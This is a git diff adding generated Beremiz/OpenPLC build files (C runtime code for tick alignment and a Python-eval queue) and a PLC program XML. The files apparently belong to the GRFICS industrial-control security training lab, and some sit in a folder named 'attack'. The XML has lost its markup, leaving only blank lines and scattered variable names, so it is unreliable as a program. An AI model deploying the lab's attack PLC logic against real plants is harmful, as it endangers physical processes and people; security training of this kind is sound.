+void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + 